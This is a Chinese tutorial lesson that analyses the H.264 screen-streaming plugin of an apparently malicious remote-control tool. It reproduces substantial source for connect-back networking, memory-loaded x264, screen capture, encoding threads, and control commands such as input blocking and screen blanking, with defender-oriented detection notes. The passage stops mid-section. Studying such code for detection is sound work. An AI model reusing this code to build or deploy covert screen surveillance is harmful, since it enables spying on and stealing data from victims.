33 / 52 主插件与远程能力

第 33 课:主插件:娱乐屏幕

# 第 33 课:主插件:娱乐屏幕

免责声明:本专栏仅用于安全工程学习研究,禁止使用本专栏介绍的技术做其他用途,否则后果自负,与本号无关。

本课只做安全工程学习和防御分析。主插件\娱乐屏幕 的名字看起来不像“远程屏幕”,但源码显示它是一套 H.264 屏幕视频流链路:采集屏幕、转换像素格式、使用 x264 编码、通过队列发送 H.264 数据。它和第 24、25 课共同构成三种当前桌面屏幕采集模式:高速屏幕偏全量 JPEG/zlib 帧,差异屏幕偏变化块,娱乐屏幕偏 H.264 视频流。企业不能因为文件名看起来像娱乐功能就降低警惕。

# 1. 本课学习目标

读完本课,你应该能理解:

  1. 娱乐屏幕模块在整体工程中的角色。
  2. 为什么它要使用 H.264,而不是继续使用普通截图、JPEG 全量帧或简单差异块。
  3. Capture 如何通过 BitBltGetDIBits 采集屏幕像素。
  4. libyuv::ARGBToI420 和 x264 编码在数据链路中的位置。
  5. CaptureWorkEncoderWorkOutPutWork 三条线程如何通过队列解耦。
  6. 企业如何检测屏幕采集、内存加载编码库、视频编码和持续上行流量。

# 2. 源码目录和文件

路径 作用
主插件\娱乐屏幕\娱乐屏幕.sln 娱乐屏幕插件解决方案
主插件\娱乐屏幕\娱乐屏幕\娱乐屏幕.cpp 插件入口、网络连接、导出函数
主插件\娱乐屏幕\娱乐屏幕\H264ScreenManager.h H.264 屏幕管理器、线程、队列、命令枚举
主插件\娱乐屏幕\娱乐屏幕\H264ScreenManager.cpp x264 加载、采集/编码/发送线程、命令处理
主插件\娱乐屏幕\娱乐屏幕\Capture.h 屏幕采集类定义
主插件\娱乐屏幕\娱乐屏幕\Capture.cpp DC 初始化、BitBlt、光标绘制、GetDIBits
主插件\娱乐屏幕\娱乐屏幕\CaptureCommon.h/.cpp 显示器枚举和 Monitor 结构
主插件\娱乐屏幕\娱乐屏幕\MemoryModule.h/.cpp 内存加载模块逻辑
主插件\娱乐屏幕\娱乐屏幕\C_libx264-148_32.hC_libx264-148_64.h 内嵌 x264 二进制数据
主插件\娱乐屏幕\娱乐屏幕\libyuv.hx264.h 视频转换和编码接口
主插件\娱乐屏幕\娱乐屏幕\pkt_queue.h/.cpp 队列结构
主插件\娱乐屏幕\娱乐屏幕\net_protocol.h 视频流 READY 包结构

依赖说明: 本课的第三方依赖最集中:libyuv 用于把 BGRA/ARGB 像素转换为 x264 需要的 I420,x264 用于把原始视频帧编码成 H.264 NAL 数据,MemoryModule 用于从内存加载内嵌 x264 二进制。企业检测时要把“内存加载编码库、像素转换、视频编码、队列线程、网络发送”串成一条链;源码节选中的函数指针、队列对象和帧结构都会在注释里解释。

2. 源码目录和文件(配图)

# 3. 这类插件为什么要单独讲:为什么使用 H.264

第 24、25 课分别讲了 JPEG/zlib 帧和差异块。娱乐屏幕模块是第三种当前桌面屏幕模式,它改成视频编码链路:

模块 数据形态 关键风险
高速屏幕 JPEG/zlib 帧 高频图形采集和压缩上行
差异屏幕 首帧 + 差异块 低带宽周期屏幕泄露
娱乐屏幕 H.264 视频流 视频编码库、队列线程、持续视频上行

娱乐屏幕的防御难点是:它更像视频会议或远程协助流量,单看网络大小不一定能区分合法和高风险,必须结合进程、图形 API、编码库和用户授权状态。

为什么这里要使用 H.264?可以先从数据量看起。以 1920 x 1080 的 32 位 BGRA 屏幕为例,单帧原始像素大约是:

1920 x 1080 x 4 = 8,294,400 字节,约 7.9 MB

如果按 30 FPS 持续传输,原始数据会接近:

7.9 MB x 30 = 237 MB/s

这对普通网络、远程查看和长期会话都不现实。第 31 课的 JPEG/zlib 可以压小每一帧,第 32 课的差异块可以只传变化区域,但它们各自有局限:

方案 适合情况 局限
原始 BGRA 本地处理、临时缓冲 数据量极大,不适合持续网络发送
JPEG/zlib 快速发图、画面变化中等 每帧按图像压缩,难以充分利用前后帧相似性
差异块 办公桌面、小范围变化 大范围动画、视频播放、拖拽窗口时变化块会变多
H.264 长时间连续屏幕流 依赖编码库,主机侧特征更明显,误报也更复杂

H.264 的优势在于它是视频编码,不只是图片压缩。它会把连续帧之间的相似性利用起来:关键帧提供完整参考,后续帧更多描述变化、运动和残差。源码里设置 ultrafastzerolatency,说明它更偏向低延迟屏幕共享,而不是离线压缩成最小文件。

从安全工程角度看,使用 H.264 会带来更明确的检测线索:libyuv::ARGBToI420x264_encoder_openx264_encoder_encode、H.264 NAL 数据、三线程队列和持续上行。这些线索与 BitBlt / GetDIBits 关联后,比单独看到一个视频库更有价值。

# 4. 插件入口:连接后创建 CH264ScreenManager

入口文件仍然是连接成功后创建管理器。

// 源码位置:主插件\娱乐屏幕\娱乐屏幕\娱乐屏幕.cpp:7-48
// 防御分析注释:连接成功后创建 CH264ScreenManager。
// 后续风险重点在 H.264 编码链路和持续视频发送。
struct plugInfo
{
    char mark[30];
    TCHAR szAddress[255];
    DWORD szPort;
    BOOL IsTcp;
    BOOL RunDllEntryProc;
} MyInfo =
{
    "plugmark",
    _T("127.0.0.1"),
    6666,
    1,
    0,
};

DWORD WINAPI MainThread(LPVOID dllMainThread)
{
    ISocketBase* socketClient;
    if (MyInfo.IsTcp == 1)
        socketClient = new CTcpSocket();
    else
        socketClient = new CUdpSocket();

    if (socketClient->Connect(MyInfo.szAddress, MyInfo.szPort))
    {
        CH264ScreenManager manager(socketClient);
        socketClient->run_event_loop();
    }

    SAFE_DELETE(socketClient);
    if (MyInfo.RunDllEntryProc)
        ExitProcess(0);
    return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38

这段入口本身不复杂。关键是 CH264ScreenManager 里加载 x264、启动三条线程并持续发送视频数据。

# 5. H264ScreenManager 的能力面

头文件里定义了命令、帧结构、线程、队列和 x264 函数指针。

// 源码位置:主插件\娱乐屏幕\娱乐屏幕\H264ScreenManager.h:19-34
// 防御分析注释:命令面覆盖光标显示、屏幕重置、控制、黑屏、剪贴板和显示器切换。
// 本课只做风险归类,不提供触发方式。
enum
{
    COMMAND_NEXT_H264CScreenSpyDlg,
    COMMAND_h264_SHOW_Cursor,
    COMMAND_h264_HIDE_Cursor,
    COMMAND_h264_SCREEN_RESET,
    COMMAND_h264_SCREEN_CONTROL,
    COMMAND_h264_SCREEN_BLOCK_INPUT,
    COMMAND_h264_SCREEN_BLANK,
    COMMAND_h264_SCREEN_CAPTURE_LAYER,
    COMMAND_h264_SCREEN_GET_CLIPBOARD,
    COMMAND_h264_SCREEN_SET_CLIPBOARD,
    COMMAND_h264_SCREEN_CHANGE_MONITORS,
    TOKEN_H264SCREEN,
    TOKEN_h264CLIPBOARD_TEXT,
};
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

视频帧结构:

// 源码位置:主插件\娱乐屏幕\娱乐屏幕\H264ScreenManager.h:49-74
// 防御分析注释:
// 1. YUV_FRAME 是编码前数据,来自 CaptureWork。
// 2. H264_FRAME 是编码后数据,来自 EncoderWork。
// 3. 两个结构分别进入 yuv_queue 和 h264_queue,形成“采集、编码、发送”解耦。
// 4. 解耦可以提升连续视频流稳定性,也让检测侧看到多个长期工作线程。
struct YUV_FRAME
{
    // I420 像素缓冲。注意它已经不是 BGRA,而是 Y、U、V 三个平面。
    uint8_t* frame_buffer;

    // 采集相对时间戳,用于维持视频帧时间顺序。
    unsigned long ms;

    // x264 输入图像结构。plane[0..2] 会分别指向 Y/U/V 平面。
    x264_picture_t pic;
};

struct H264_FRAME
{
    // 是否关键帧。关键帧可作为完整参考帧,后续帧通常依赖它。
    int b_keyframe;

    // PTS/DTS 是视频流时间信息,说明这里已经进入视频编码语义。
    __int64 i_pts;
    __int64 i_dts;

    // x264 输出的 H.264 载荷长度。
    size_t payload_size;

    // NAL 是 H.264 的基本封装单元。网络侧可能看到连续 NAL 类数据。
    x264_nal_t nalt_s[24];
    int nal_count;

    // free_buffer 保留真实 malloc 地址,frame_buffer 指向实际载荷位置。
    uint8_t* free_buffer;
    uint8_t* frame_buffer;

    // 与输入帧对应的采集时间。
    unsigned long ms;
};
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41

类成员:

// 源码位置:主插件\娱乐屏幕\娱乐屏幕\H264ScreenManager.h:83-178
// 防御分析注释:
// 1. Capture 对象负责屏幕像素来源。
// 2. thread_capture / thread_encoder / thread_push 对应采集、编码、发送三段流水线。
// 3. yuv_queue / h264_queue 是线程之间的数据交接点。
// 4. x264 函数指针来自 MemoryGetProcAddress,说明编码库不是普通静态调用路径。
class CH264ScreenManager : public CManager
{
private:
    std::vector<Monitor> monitors;
    Monitor monitor;
    Capture capture;

    // 三条线程长期运行,使屏幕流不会被某个环节短暂阻塞拖垮。
    HANDLE thread_capture;
    HANDLE thread_encoder;
    HANDLE thread_push;

    // run_mark 控制三条线程的退出。
    volatile bool run_mark;

    // 采集线程产出 I420,编码线程消费 I420。
    queue_root* yuv_queue;
    HANDLE yuv_queue_event;

    // 编码线程产出 H.264,发送线程消费 H.264。
    queue_root* h264_queue;
    HANDLE h264_queue_event;

    // x264 编码器句柄和参数。检测时要把它们与屏幕采集行为关联。
    x264_t* x264;
    x264_param_t param;

public:
    bool Init(const Monitor&, int fps, bool capture_cursor, int bitrate,
        std::string& x264_preset, std::string& x264_tune, std::string& record_file);
    void Start();
    void StopClear();

private:
    static unsigned int __stdcall CaptureWork(void* arg);
    static unsigned int __stdcall EncoderWork(void* arg);
    static unsigned int __stdcall OutPutWork(void* arg);
    bool InitH264Encoder();
};
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45

# 6. 构造函数:内存加载 x264

构造函数会根据平台选择内嵌 x264 数据,并通过 MemoryLoadLibrary 加载,然后取出编码函数地址。

// 源码位置:主插件\娱乐屏幕\娱乐屏幕\H264ScreenManager.cpp:41-110
// 防御分析注释:
// 1. 构造函数是 H.264 屏幕流的启动点。
// 2. MemoryLoadLibrary 加载内嵌 x264 二进制数据,是供应链和内存模块检测重点。
// 3. MemoryGetProcAddress 解析 x264 函数,说明编码能力在运行期被装配起来。
// 4. 合法软件应使用清晰的依赖来源、签名、版本管理和用户授权提示。
CH264ScreenManager::CH264ScreenManager(ISocketBase* pClient) : CManager(pClient)
{
    m_buser = FALSE;

#ifdef _WIN64
    // 64 位进程加载 64 位 x264 内嵌数据。
    // 防御侧要区分 32/64 位样本,因为内嵌数组和导出函数地址不同。
    hdllmod = ::MemoryLoadLibrary(x264MyFileBuf, x264MyFileSize);
#else
    // 32 位进程加载 32 位 x264 内嵌数据。
    hdllmod = ::MemoryLoadLibrary(MyFileBuf, MyFileSize);
#endif

    // 运行期解析 x264 函数。这里不是普通 LoadLibrary + GetProcAddress,
    // 而是从内存模块解析导出函数,更适合纳入内存加载检测。
    m_x264_encoder_close = (x264_encoder_close)MemoryGetProcAddress(hdllmod, "x264_encoder_close");
    m_x264_picture_init = (x264_picture_init)MemoryGetProcAddress(hdllmod, "x264_picture_init");
    m_x264_encoder_encode = (x264_encoder_encode)MemoryGetProcAddress(hdllmod, "x264_encoder_encode");
    m_x264_param_default = (x264_param_default)MemoryGetProcAddress(hdllmod, "x264_param_default");
    m_x264_param_default_preset = (x264_param_default_preset)MemoryGetProcAddress(hdllmod, "x264_param_default_preset");
    m_x264_param_apply_profile = (x264_param_apply_profile)MemoryGetProcAddress(hdllmod, "x264_param_apply_profile");
    m_x264_encoder_open = (x264_encoder_open)MemoryGetProcAddress(hdllmod, "x264_encoder_open_148");

    // 这些状态属于远程屏幕会话控制面,不是 H.264 编码所必需。
    // 因此它们是额外风险:视频查看能力和控制能力被放在同一模块。
    m_bIsBlockInput = false;
    m_hDeskTopDC = GetDC(NULL);
    run_mark = false;
    m_bIsBlankScreen = false;

    // 默认 30 FPS、9000 码率,让这个模块更像实时视频流。
    // 具体数值不用于复现,只用于理解源码意图和检测特征。
    fps = 30;
    btl = 9000;
    switchMonitor = 1;

    // ResetScreen 会枚举显示器、发送 READY 包、初始化编码器并启动三线程。
    HANDLE hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)ResetScreen, this, 0, 0);

    // CtrlThread 维护黑屏、输入屏蔽和分辨率变化。
    m_hCtrlThread = (HANDLE)_beginthreadex(NULL, 0, CtrlThread, this, 0, NULL);
    m_buser = TRUE;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49

这里有两个检测方向:

行为 防御含义
内嵌二进制数组 依赖库没有以普通 DLL 文件形式出现
MemoryLoadLibrary + MemoryGetProcAddress 类似内存模块加载,应重点关注
x264 函数指针 视频编码能力
默认 30 FPS 更接近视频流
ResetScreen 线程 会话启动后准备采集链路

# 7. ResetScreen:准备显示器和 READY 包

ResetScreen 会枚举显示器,选择当前显示器,发送 READY 数据,然后初始化并启动视频流。

// 源码位置:主插件\娱乐屏幕\娱乐屏幕\H264ScreenManager.cpp:113-148
// 防御分析注释:
// 1. ResetScreen 是一次视频会话准备过程。
// 2. 它发送 READY 元数据后,再初始化采集、编码、发送流水线。
// 3. 屏幕尺寸被调整为偶数,是因为 I420/H.264 对 4:2:0 色度平面更友好。
unsigned int __stdcall CH264ScreenManager::ResetScreen(void* arg)
{
    CH264ScreenManager* pThis = (CH264ScreenManager*)arg;

    // 停止旧会话,避免分辨率切换或显示器切换时旧线程继续发送。
    ResetEvent(pThis->m_hEventDlgOpen);
    pThis->StopClear();

    // 枚举显示器并选择当前要采集的显示器。
    pThis->monitors = GetMonitors();
    pThis->capture_monitor = pThis->monitors[pThis->switchMonitor - 1];

    // H.264 4:2:0 需要偶数宽高更稳定。
    // 这里直接裁掉奇数边,属于编码适配逻辑。
    if (pThis->capture_monitor.width % 2 == 1)
        pThis->capture_monitor.width -= 1;
    if (pThis->capture_monitor.height % 2 == 1)
        pThis->capture_monitor.height -= 1;

    // READY 包告诉接收端视频区域、宽高和显示器数量。
    // 它不是画面内容,但它是屏幕视频流开始前的强元数据。
    PacketReadyData readpkg;
    readpkg.head.type = PACKET_TYPE_READY;
    readpkg.head.len = sizeof(ReadyData);
    readpkg.head.start_sign = PACKET_START_SING;
    readpkg.i = int(pThis->monitors.size());
    readpkg.data.video_L = pThis->capture_monitor.left;
    readpkg.data.video_T = pThis->capture_monitor.top;
    readpkg.data.video_w = pThis->capture_monitor.width;
    readpkg.data.video_h = pThis->capture_monitor.height;

    DWORD dwBytesLength = 1 + sizeof(PacketReadyData);
    LPBYTE lpBuffer = new BYTE[dwBytesLength];
    lpBuffer[0] = TOKEN_BITMAPINFO_PLAY;
    memcpy(lpBuffer + 1, &readpkg, dwBytesLength - 1);
    pThis->Send(lpBuffer, dwBytesLength);
    SAFE_DELETE_AR(lpBuffer);

    // ultrafast:牺牲压缩率换编码速度。
    // zerolatency:减少编码延迟,更适合实时屏幕流。
    std::string x264_preset = "ultrafast";
    std::string x264_tune = "zerolatency";
    std::string record_file = "1.mp4";

    // 等待主控侧窗口准备好后再启动视频流。
    pThis->WaitForDialogOpen();

    // Init 创建编码器、采集器和队列;Start 启动三条线程。
    pThis->Init(pThis->capture_monitor, pThis->fps, false, pThis->btl, x264_preset, x264_tune, record_file);
    pThis->Start();
    return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57

新手可以把 READY 包理解为“接收端渲染前需要知道视频区域大小”。它不是屏幕内容本身,但它暴露了屏幕流即将开始。

# 8. 显示器枚举

CaptureCommon.cpp 使用 EnumDisplayMonitors 枚举显示器,记录位置、尺寸和设备名。

// 源码位置:主插件\娱乐屏幕\娱乐屏幕\CaptureCommon.cpp:6-43
// 防御分析注释:多显示器枚举是屏幕采集前的常见准备动作。
// 与后续 BitBlt、编码和外联发送结合时风险更高。
BOOL CALLBACK MonitorEnumProc(HMONITOR hMonitor, HDC hdcMonitor, LPRECT lprcMonitor, LPARAM dwData)
{
    auto ret = (std::vector<Monitor>*)dwData;

    Monitor monitor = {};
    monitor.width = std::abs(lprcMonitor->right - lprcMonitor->left);
    monitor.height = std::abs(lprcMonitor->bottom - lprcMonitor->top);
    monitor.left = lprcMonitor->left;
    monitor.top = lprcMonitor->top;

    MONITORINFOEXA info;
    info.cbSize = sizeof(info);
    if (GetMonitorInfoA(hMonitor, (LPMONITORINFO)&info))
        lstrcpyA(monitor.name, info.szDevice);

    ret->push_back(monitor);
    return TRUE;
}

std::vector<Monitor> GetMonitors()
{
    std::vector<Monitor> ret;
    EnumDisplayMonitors(NULL, NULL, MonitorEnumProc, (LPARAM)&ret);
    return ret;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

# 9. 三线程视频管线

娱乐屏幕模块用三条线程拆开采集、编码和发送:

  1. CaptureWork:采集 BGRA 帧,转换成 I420,写入 YUV 队列。
  2. EncoderWork:从 YUV 队列取帧,调用 x264 编码,写入 H.264 队列。
  3. OutPutWork:从 H.264 队列取帧,加 TOKEN_H264SCREEN 后发送。

9. 三线程视频管线(配图)

// 源码位置:主插件\娱乐屏幕\娱乐屏幕\H264ScreenManager.cpp:316-355
// 防御分析注释:
// 1. Init 负责准备编码器、采集器和两个队列。
// 2. Start 负责启动采集、编码、发送三条线程。
// 3. 这段代码说明娱乐屏幕是视频流水线,不是单函数截图。
bool CH264ScreenManager::Init(const Monitor& monitor, int fps, bool capture_cursor,
    int bitrate, std::string& x264_preset, std::string& x264_tune, std::string& record_file)
{
    // 保存会话参数。monitor 决定采集区域,fps/bitrate 决定视频流节奏和码率。
    this->monitor = monitor;
    this->fps = fps;
    this->bitrate = bitrate;
    this->record_file = record_file;
    this->x264_preset = x264_preset;
    this->x264_tune = x264_tune;

    // 初始化 x264 编码器。失败时不会启动视频流。
    if (!InitH264Encoder())
        return false;

    // 初始化屏幕采集器,内部会创建显示器 DC、兼容 DC 和位图。
    if (capture.PartialInit(monitor, capture_cursor) != RETURN_SUCCESS)
        return false;

    // 两个事件分别唤醒编码线程和发送线程。
    yuv_queue_event = CreateEvent(NULL, FALSE, FALSE, NULL);
    h264_queue_event = CreateEvent(NULL, FALSE, FALSE, NULL);

    // yuv_queue:采集线程 -> 编码线程。
    // h264_queue:编码线程 -> 发送线程。
    init_queue(&yuv_queue);
    init_queue(&h264_queue);
    return true;
}

void CH264ScreenManager::Start()
{
    // run_mark 为 true 后,三个线程都会进入 while 循环。
    run_mark = true;

    // 先挂起创建,再统一 ResumeThread,减少启动顺序抖动。
    thread_capture = (HANDLE)_beginthreadex(NULL, 0, CaptureWork, this, CREATE_SUSPENDED, NULL);
    thread_encoder = (HANDLE)_beginthreadex(NULL, 0, EncoderWork, this, CREATE_SUSPENDED, NULL);
    thread_push = (HANDLE)_beginthreadex(NULL, 0, OutPutWork, this, CREATE_SUSPENDED, NULL);
    ResumeThread(thread_capture);
    ResumeThread(thread_encoder);
    ResumeThread(thread_push);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48

# 10. 采集:BitBlt 和 GetDIBits

Capture 类负责采集屏幕区域。初始化时创建显示器 DC、兼容 DC 和位图;处理帧时用 BitBlt 拷贝屏幕,再用 GetDIBits 得到 BGRA 像素。

10. 采集:BitBlt 和 GetDIBits(配图)

// 源码位置:主插件\娱乐屏幕\娱乐屏幕\Capture.cpp:25-76
// 防御分析注释:
// 1. PartialInit 准备显示器 DC、兼容 DC 和位图缓冲。
// 2. CreateDCA(monitor.name) 表示按显示器设备名取图,而不是只取默认桌面窗口。
// 3. bi.biBitCount = 32 说明采集阶段得到的是 BGRA/ARGB 类原始像素。
CAPTURE_RETURN Capture::PartialInit(const Monitor& monitor, bool capture_cursor)
{
    // 保存采集目标显示器信息,包括位置、宽高和设备名。
    this->monitor = monitor;

    // 从显示器设备创建源 DC,后续 BitBlt 会从这个 DC 复制像素。
    this->src_dc = CreateDCA(monitor.name, NULL, NULL, NULL);
    if (this->src_dc == NULL)
        return CREATEDC_FAILED;

    // capture_dc 是内存兼容 DC,用来接收 BitBlt 复制出来的屏幕画面。
    this->capture_dc = CreateCompatibleDC(this->src_dc);

    // memdc / memdc1 主要用于光标叠加时处理掩码和彩色光标图。
    memdc = CreateCompatibleDC(this->src_dc);
    memdc1 = CreateCompatibleDC(this->src_dc);

    // 创建与显示器 DC 兼容的位图,并选入 capture_dc。
    // 后续 BitBlt 结果会进入这个位图。
    this->capture_bitmap = CreateCompatibleBitmap(this->src_dc, monitor.capture_w, monitor.capture_h);
    this->old_bmp = SelectObject(this->capture_dc, this->capture_bitmap);

    this->capture_cursor = capture_cursor;

    memset(&bi, 0, sizeof(bi));
    bi.biSize = sizeof(BITMAPINFOHEADER);
    bi.biWidth = monitor.capture_w;

    // 负高度表示 top-down DIB,读取出来的像素顺序更适合视频编码处理。
    bi.biHeight = -monitor.capture_h;
    bi.biPlanes = 1;

    // 32 位 BGRA/ARGB 是 libyuv::ARGBToI420 的输入来源。
    bi.biBitCount = 32;
    bi.biCompression = BI_RGB;
    return RETURN_SUCCESS;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
// 源码位置:主插件\娱乐屏幕\娱乐屏幕\Capture.cpp:103-147
// 防御分析注释:
// 1. PartialProcessFrame 每帧调用 BitBlt 和 GetDIBits。
// 2. BitBlt 把显示器画面复制到内存 DC,GetDIBits 把位图转成进程内存中的 BGRA。
// 3. 如果同进程随后调用 libyuv、x264 和网络发送,应按屏幕视频流处理。
CAPTURE_RETURN Capture::PartialProcessFrame(void* frame_buffer)
{
    // 复制显示器指定区域到 capture_dc。
    // 这里是每帧采集的起点,也是主机侧图形 API 检测的核心位置。
    if (BitBlt(capture_dc, 0, 0, monitor.capture_w, monitor.capture_h,
        this->src_dc, monitor.capture_x, monitor.capture_y, SRCCOPY) == FALSE)
        return BITBLT_FAILED;

    if (this->capture_cursor)
    {
        // 源码还会读取当前光标,并把光标图叠加到 capture_dc。
        // 光标进入视频流后,会暴露用户操作焦点和当前操作状态。
    }

    // 把 capture_bitmap 中的像素读到 frame_buffer。
    // frame_buffer 随后会进入 libyuv::ARGBToI420。
    if (GetDIBits(this->src_dc, this->capture_bitmap, 0, (UINT)monitor.capture_h,
        frame_buffer, (BITMAPINFO*)&bi, DIB_RGB_COLORS) != monitor.capture_h)
        return BITBLT_FAILED;

    return RETURN_SUCCESS;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

# 11. CaptureWork:BGRA 转 I420

采集线程把 BGRA 像素转换成 x264 需要的 I420 格式,然后放入 YUV 队列。

// 源码位置:主插件\娱乐屏幕\娱乐屏幕\H264ScreenManager.cpp:357-458
// 防御分析注释:
// 1. CaptureWork 是高频屏幕采集线程。
// 2. 关键链路是 PartialProcessFrame -> ARGBToI420 -> queue_add。
// 3. 它把屏幕从“桌面像素”变成“x264 可编码的 I420 帧”。
unsigned int __stdcall CH264ScreenManager::CaptureWork(void* arg)
{
    CH264ScreenManager* work = (CH264ScreenManager*)arg;
    int video_width = work->monitor.capture_w;
    int video_height = work->monitor.capture_h;

    // 输入缓冲:BGRA/ARGB,每个像素 4 字节。
    // 这是 GetDIBits 写入的原始屏幕像素。
    int inbrga_size = video_width * video_height * 4;
    uint8_t* inbrga = (uint8_t*)malloc(inbrga_size);

    // I420 是 YUV 4:2:0:Y 平面全尺寸,U/V 平面各为 1/4 尺寸。
    // 宽高为偶数时,U/V 平面计算更稳定。
    int uv_w = (video_width + 1) / 2;
    int uv_h = (video_height + 1) / 2;
    int outi420_size = video_width * video_height + uv_w * uv_h * 2;

    // interval_ms 控制采集节奏。默认 fps=30 时约 33ms 一帧。
    unsigned long interval_ms = 1000 / work->fps;
    unsigned long cur_time = timeGetTime();
    unsigned long nextf_time = cur_time + interval_ms;
    unsigned long start_ms = cur_time;

    while (work->run_mark)
    {
        // 用 timeGetTime() 和 Sleep() 控制采集频率。
        // 这能避免采集线程无限制抢占 CPU,也让网络流量更接近固定帧率视频。
        cur_time = timeGetTime();
        if (nextf_time > cur_time)
        {
            unsigned long sleep_ms = nextf_time - cur_time;
            if (sleep_ms > 1)
                Sleep(sleep_ms <= interval_ms ? sleep_ms : interval_ms);
            else
                Sleep(0);
        }
        nextf_time = cur_time + interval_ms;

        YUV_FRAME* yuv_frame = new YUV_FRAME();
        yuv_frame->ms = cur_time - start_ms;

        // 采集一帧 BGRA。分辨率变化时触发 ResetScreen,重建编码器和采集器。
        if (work->capture.PartialProcessFrame(inbrga) != RETURN_SUCCESS || work->ischaneg == true)
        {
            work->ischaneg = false;
            HANDLE hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)ResetScreen, work, 0, 0);
            break;
        }

        // 输出缓冲:I420,供 x264 输入。
        uint8_t* outi420 = (uint8_t*)malloc(outi420_size);
        uint8_t* dst_y = outi420;
        uint8_t* dst_u = dst_y + video_width * video_height;
        uint8_t* dst_v = dst_u + uv_w * uv_h;

        // libyuv 的作用是做像素格式转换。
        // x264 这里配置的是 X264_CSP_I420,因此不能直接把 BGRA 交给编码器。
        libyuv::ARGBToI420(inbrga, video_width * 4,
            dst_y, video_width,
            dst_u, uv_w,
            dst_v, uv_w,
            video_width, video_height);

        yuv_frame->frame_buffer = outi420;
        work->m_x264_picture_init(&yuv_frame->pic);

        // 告诉 x264:输入是 I420 三平面。
        yuv_frame->pic.img.i_csp = X264_CSP_I420;
        yuv_frame->pic.img.i_plane = 3;
        yuv_frame->pic.img.plane[0] = outi420;
        yuv_frame->pic.img.plane[1] = dst_u;
        yuv_frame->pic.img.plane[2] = dst_v;

        // 放入 YUV 队列,唤醒编码线程。
        // 这是采集线程和编码线程的边界。
        queue_add(work->yuv_queue, yuv_frame);
        SetEvent(work->yuv_queue_event);
    }

    free(inbrga);
    return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87

检测上,ARGBToI420 是视频编码前的强信号。普通业务软件很少在未知插件线程中持续做屏幕采集、颜色空间转换和外联发送。

# 12. EncoderWork:x264 编码

编码线程从 YUV 队列取出帧,调用 x264 编码,复制 NAL 数据到新的 H.264 帧对象。

// 源码位置:主插件\娱乐屏幕\娱乐屏幕\H264ScreenManager.cpp:460-548
// 防御分析注释:
// 1. x264_encoder_encode 是视频流形成的关键点。
// 2. 编码线程从 yuv_queue 取 I420 帧,输出 H.264 NAL 数据。
// 3. 对企业检测来说,它应和屏幕采集、内存加载 x264、网络发送关联。
unsigned int __stdcall CH264ScreenManager::EncoderWork(void* arg)
{
    CH264ScreenManager* work = (CH264ScreenManager*)arg;
    YUV_FRAME* yuv_frame;
    x264_picture_t pic_out;
    work->m_x264_picture_init(&pic_out);

    while (work->run_mark)
    {
        // 从采集线程队列取一帧 I420。
        // 队列为空时等待事件,避免空转占满 CPU。
        yuv_frame = (YUV_FRAME*)queue_get(work->yuv_queue);
        if (yuv_frame == NULL)
        {
            WaitForSingleObject((HANDLE)work->yuv_queue_event, 1000);
            continue;
        }

        x264_nal_t* nals = NULL;
        int nal_count;

        // 把 I420 编码成 H.264。
        // payload_size 是本次编码输出的总字节数,nals 是多个 NAL 单元。
        int payload_size = work->m_x264_encoder_encode(work->x264, &nals, &nal_count, &yuv_frame->pic, &pic_out);

        if (nal_count > 0)
        {
            H264_FRAME* h264_frame = new H264_FRAME();
            h264_frame->b_keyframe = pic_out.b_keyframe;
            h264_frame->i_pts = pic_out.i_pts;
            h264_frame->i_dts = pic_out.i_dts;
            h264_frame->payload_size = payload_size;
            h264_frame->nal_count = nal_count;

            // 多申请 4 字节是为了兼容代码里可能的 MP4 写入逻辑。
            // 实际网络发送使用 frame_buffer 指向的 H.264 载荷。
            h264_frame->free_buffer = (uint8_t*)malloc(h264_frame->payload_size + 4);
            h264_frame->frame_buffer = h264_frame->free_buffer + 4;

            // x264 返回的 NAL 缓冲在下一次编码后可能失效,因此这里复制一份。
            memcpy(h264_frame->frame_buffer, nals[0].p_payload, h264_frame->payload_size);

            // 放入 H.264 队列,唤醒发送线程。
            queue_add(work->h264_queue, h264_frame);
            SetEvent(work->h264_queue_event);
        }

        // 释放编码前的 I420 缓冲,避免持续视频流造成内存增长。
        free(yuv_frame->frame_buffer);
        delete yuv_frame;
    }

    return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59

# 13. OutPutWork:封装并发送 H.264 数据

输出线程从 H.264 队列取帧,加上 TOKEN_H264SCREEN 后发送。

// 源码位置:主插件\娱乐屏幕\娱乐屏幕\H264ScreenManager.cpp:550-618
// 防御分析注释:
// 1. TOKEN_H264SCREEN 是视频帧网络出口。
// 2. 网络侧看到的是 H.264 压缩数据,主机侧要结合采集和编码行为。
